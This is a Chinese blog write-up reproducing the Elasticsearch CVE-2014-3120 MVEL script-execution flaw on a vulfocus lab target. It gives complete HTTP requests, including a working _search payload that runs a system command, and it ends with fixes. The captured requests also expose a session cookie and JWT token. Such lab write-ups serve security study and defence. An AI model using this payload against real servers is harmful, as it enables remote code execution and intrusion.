elasticsearch 代码执行 (CVE-2014-3120)

@[TOC]( elasticsearch 代码执行 (CVE-2014-3120) )
所有文章,仅供安全研究与学习之用,后果自负!

elasticsearch 代码执行 (CVE-2014-3120)

ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。支持通过HTTP使用JSON进行数据索引。

0x01 漏洞描述

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。 ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。

ElasticSearch有脚本执行的功能,使用的引擎为MVEL,该引擎没有做任何的防护,或者沙盒包装,所以可以直接执行任意代码。

由于在ElasticSearch的默认配置下,动态脚本执行功能处于打开状态,导致用户可以构造恶意的请求包,执行任意代码。
9200端口

0x02 影响范围

Elasticsearch < 1.2

0x03 漏洞复现

(1) 访问靶场 首页
版本为1.1.1

在这里插入图片描述
(2) burp抓包
在这里插入图片描述
(3) 利用该漏洞之前,es至少需要存在一条数据,通过以下请求包创建数据:

使用如下poc 向 Elasticsearch 添加一条数据
请求头

POST /mitian/mitian6/

请求体

{  "name": "kjsx"}

请求包如下

POST /mitian/mitian6/ HTTP/1.1
Host: vulfocus.fofa.so:51420
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1635998666,1636015562,1636016317,1636076952; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1636076952; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0ODQ1LCJ1c2VybmFtZSI6IllvdXRoQmVsaWVmIiwiZXhwIjoxNjM2MTYzMzExLCJlbWFpbCI6IjI0NTU1NjQ2NEBxcS5jb20ifQ.VgJpabek6gQeSga1y9sTwN7C5jZ3Wr6Dk2XS7LYgVSg
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 18

{  "name": "kjsx"}

返回201 说明添加数据成功

在这里插入图片描述

(4)执行代码

请求头
	POST /_search?pretty
请求体如下
{    "size": 1,    "query": {      "filtered": {        "query": {          "match_all": {          }        }      }    },    "script_fields": {        "command": {            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"pwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"        }    }}

请求包如下

POST /_search?pretty HTTP/1.1
Host: vulfocus.fofa.so:51420
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1635998666,1636015562,1636016317,1636076952; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1636076952; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0ODQ1LCJ1c2VybmFtZSI6IllvdXRoQmVsaWVmIiwiZXhwIjoxNjM2MTYzMzExLCJlbWFpbCI6IjI0NTU1NjQ2NEBxcS5jb20ifQ.VgJpabek6gQeSga1y9sTwN7C5jZ3Wr6Dk2XS7LYgVSg
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 327

{    "size": 1,    "query": {      "filtered": {        "query": {          "match_all": {          }        }      }    },    "script_fields": {        "command": {            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"pwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"        }    }}

发现执行成功

在这里插入图片描述

直接bash反弹shell 响应码200 代码异常
在这里插入图片描述

wget 发包失败

0x04 漏洞修复

1、在配置文件config/elasticsearch.yml中,添加一行
script.disable_dynamic: true并重启服务
2、升级ElasticSearch到1.2版本以上

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值